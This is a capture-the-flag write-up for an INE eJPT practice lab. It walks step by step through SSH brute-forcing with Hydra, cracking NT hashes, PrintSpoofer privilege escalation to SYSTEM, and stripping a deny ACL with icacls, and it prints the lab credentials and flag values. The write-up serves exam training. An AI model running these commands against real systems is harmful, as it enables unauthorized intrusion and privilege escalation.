Post-Exploitation CTF 2

Identify services on target.ine.local and capture four flags on a Windows host.

eJPT preparation · Write-up by Zeliha Zengin

Lab Environment

A target machine is accessible at target.ine.local. Identify the services and capture the flags.

Useful: wordlist /usr/share/wordlists/metasploit/unix_passwords.txt · tool /root/Desktop/PrintSpoofer.exe

NmapHydraJohn the RipperHashcatPrintSpoofer

All work is performed against an authorized INE training lab for eJPT exam preparation.

Flag 1 — Insecure SSH user alice

cat /etc/hosts
nmap -sV -sC -A -p- -Pn target.ine.local

Nmap shows SSH is open. We already know the username (alice) from the task, so brute-force the password:

hydra -l alice -P /usr/share/wordlists/metasploit/unix_passwords.txt 10.3.17.71 ssh

Found alice : princess1. Log in and read the flag:

ssh alice@target.ine.local
dir
type flag1.txt
🏁 FLAG 1: 2801674b755f43818122d87f0c971f91

Flag 2 — Cracking the hashdump

Save the discovered hashdump into a file:

nano hashdump.txt
cat hashdump.txt

Crack the NT hashes (two options):

# John
john --format=NT --wordlist=/usr/share/wordlists/metasploit/unix_passwords.txt hashdump.txt
#   princess1 (alice)
#   orange (david)

# Hashcat
hashcat -m 1000 hashdump.txt /usr/share/wordlists/metasploit/unix_passwords.txt

Use the cracked credentials for david : orange and read the flag:

ssh david@target.ine.local
dir
type flag2.txt
🏁 FLAG 2: cc8cf044abd8403a978153afa038fcfb

Flag 3 — Privilege escalation with PrintSpoofer

Log in as david and copy PrintSpoofer to the target with scp:

ssh david@target.ine.local        # password: orange
scp PrintSpoofer64.exe david@target.ine.local:"C:\Users\david\"

Abuse SeImpersonatePrivilege to get a SYSTEM shell, then read the flag under config:

PrintSpoofer64.exe -i -c cmd
cd C:\Windows\System32\config
dir
type flag3.txt
🏁 FLAG 3: b620cdb905774cac895e7ffaf9ee0b62

Flag 4 — Bypassing a deny ACL with icacls

Navigate to the Administrator's home. The flag file denies direct access — inspect and fix the ACL:

cd C:\Users\Administrator
dir
type flag        # access denied
icacls flag

Remove the explicit deny entry, then read the flag inside:

icacls flag /remove:d "NT AUTHORITY\SYSTEM"
cd flag
dir
type flag4.txt
Note: icacls <file> /remove:d <principal> removes a *deny* ACE for that principal, restoring access.
🏁 FLAG 4: e4f028e02b284d6998e73a465998a75f

Summary

FlagTechnique
1SSH password brute-force with Hydra
2Cracking NT hashes with John / Hashcat → lateral move to david
3SeImpersonate abuse with PrintSpoofer → SYSTEM
4Removing a deny ACL with icacls to read a protected file

Key Takeaways